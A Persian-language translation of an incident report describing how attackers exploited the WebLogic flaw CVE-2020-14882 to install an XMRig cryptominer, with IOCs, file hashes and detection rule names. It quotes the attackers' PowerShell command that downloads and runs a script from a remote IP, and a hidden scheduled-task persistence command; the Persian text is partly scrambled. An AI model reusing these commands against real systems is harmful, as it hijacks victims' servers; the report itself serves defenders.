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چلنجینو  تیوب سا  یمحتوا دیتول  م یشده توسط ت  هیته  
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 مقدمه 

ا شناسه  ب   WebLogicدر  RCE  یریپذ ب یآس   کیکه از    میکرد  یمهاجمان  دنیدر اواخر ماه اکتبر، شروع به د

CVE-2020-14882  م اخردند کی سوءاستفاده  بهره   SANS ISC  راً، ی.  مورد  ا  یبردار در  در    یریپذ ب یآس   نیاز 

 .  مطالعه کنید در مورد آن    د یتوانی صحبت کرده است که م ی واقع  یفضا

https://isc.sans.edu/diary/Attackers+Exploiting+WebLogic+Servers+via+CVE2020

14882+to+install+Cobalt+Strike/26752 

https://isc.sans.edu/diary/PATCH+NOW+CVE202014882+Weblogic+Actively+Expl

oited+Against+Honeypots/26734 

افزار در حال حاضر از آن  باج   گرانیکه باز میکنی است و ما فرض م  یبرداربهره  یآسان برا اریبس یریپذ بیآس  نیا

 استفاده خواهند کرد.  یبه زود  ای کنند ی استفاده م
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 خلاصه پرونده

آنها اجازه   images یرکتور یبه دا   یبا فراخوان CVE-2020-14882 از  دگر یتهد   کی به  سوءاستفاده کرد، که 

و اجرا کردند که    را دانلود xml لیفا  کی آنها    ت،یاکسپلو  نیسرور اجرا کنند. با استفاده از ا  ی کد را رو  دادی م

  دهد، ی انجام م   ی متعدد  یکارها  پت یاسکر  ن یبود. ا  پتیاسکر  ک ی  ی دانلود و اجرا  یدستور پاورشل برا   ک یشامل  

  ند یفرآ  یبرا   taskکی  یبند ، زمان sysupdate به XMRig نام  رییآن، تغ  یکربند یو پ XMRig مانند دانلود

 .در حال اجرا است  نریما نکه یا د ییآن، و تأ یروزرسانبه 
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   هیاول یدسترس

  135].[95.142.39در    شدهزبان ی م  wbwبه نام    xml  ل یفا  ک ی،  CVE-2020-14882از    ی برداربا بهره   دگریتهد 

 را اجرا کرد. 

 

 .کند ی را دانلود و اجرا م  ps1. 1 لیکه سپس فا کند ی را اجرا م   wbw.xml  لیفا  دگریبالا، تهد  ر یدر تصو

 

powershell.exe "Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object 

System.Net.WebClient).DownloadString('http://95.142.39.135/1.ps1 '(("  

 .شودی آن شروع م ی کربند یو پ  XMRig یدانلود برا  یهامانند مکان  ییپارامترها م یبا تنظ پتیاسکر

 

اسکر م  XMRig  پتیسپس  اجرا  و  دانلود  آ  کند،ی را  به  نام  را  سپس    دهد ی م   ریی تغ  sysupdateن    ک یو 

scheduled task  فا  کند ی م  م یتنظ م   update.ps1  لیکه  اجرا  ا  یپتیاسکر  چی. هکند ی را    نیدر 

ظاهر   یکیداشت،   یروزرسانبه به  ازین  نریکه ما  یکه زمان  میکنی وجود نداشت، اما ما فرض م  یرکتور یدا

 داشت. یهنوز دسترس  دگریاگر تهد  شد،ی م
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"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN "Update service for Windows 

Service" /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -File 

C:\Users\Administrator\update.ps1" /MO 30 /F 

  فرار از شناسایی

 کند خود را پنهان کند. یداد تا سع  رییتغ sysupdateرا به  xmrig.exeنام  پتیاسکر

 

   ریتأث

CPU    در زمان  کردی م   جادیا  یمشکلات  یسازمان  ط یمح  کیاستفاده شده بود و احتمالاً در    درصد   1۰۰سرور تا .

که به   رسد ی در آن نداشت و به نظر م  یز یچ چ یه باًیتقر ، استخراج یمورد استفاده برا   پول فی متن، ک نینگارش ا

 ما اختصاص داده شده است.

IOCs 

 

https://misppriv.circl.lu/events/view/81020# 

https://otx.alienvault.com/pulse/5fac81c53f59e8b0157fca9f 

Network 

IPs exploiting CVE-2020-14882 
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212.8.247.179 

95.214.11.231 

95.215.1۰8.217 

Miner connections 

443:178.128.242.134  

3333:45.136.244.146  

443:185.92.222.223  

3333:37.59.44.193  

3333:94.23.23.52  

3333:1۰4.14۰.244.186  

File 

xmrig.exe 

57f0fdec4d919db0bd4576dc84aec752 

82e6af04eadb5fac25fbb89dc6f020da0f4b6dca 

5e5b5171a95955ecb0fa8f9f1ba66f313165044cc1978a447673c0ac17859170 

1.ps1 

70000d52dc3ad153464dc41891c10439 

9bd2bc3f87d4c9d029a4e6391358f776e86ad2d5 

58bb90f11070a114442c4fa1cbbccefadcdf954510ae2b8d91c9b22b1a8a42d5 

wbw.xml 

fe0f332ed847a25a18cd63dfdaf69908 

67ff54a71dfc5b817fbc6e62c6c30e9a30219fb9 

c8fd12490f9251080803a68e26a1bdb1919811334ec54ab194645bd516adf1c1 

config.json 

2d9a06afe4263530b900aa1c96a84665 

0c86e66105645700b08d33e793362de41d0b1878 
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6be51ca6e829c4033d74feff743bcc0d3dc26cb13f687fe6c0d2f6169a8197b2 

 

IOCs 
 

 شبکه

ET POLICY  تالیجیارز د  نریما ورود  یبررس 

ET INFO  درخواستPS1   با آدرسIP ی عدد 

ET WEB_SERVER آدرس شده در  ی دو بار کدگذار یکاراکترها (../ ) 

ET HUNTING    درخواستPOST به آدرس   ی مشکوک عمومIP 1 یبا مرورگر جعل ی عدد 

ET HUNTING   دانلودر پاورشل باStart-Process یورود  M1 

ET INFO  پاورشل  ه یدر مراحل اول ج یرا یدستور پاورشل با پنجره مخفM1 

 

Sigma 

https://github.com/Neo23x0/sigma/blob/de5444a81e770ec730aa5e3af69781ab222f021a/rule

s/windows/powershell/powershell_suspicious_invocation_specific.ym 

 

 منبع:

https://thedfirreport.com/2020/11/12/cryptominers-exploiting-weblogic-rce-

cve-2020-14882/ 


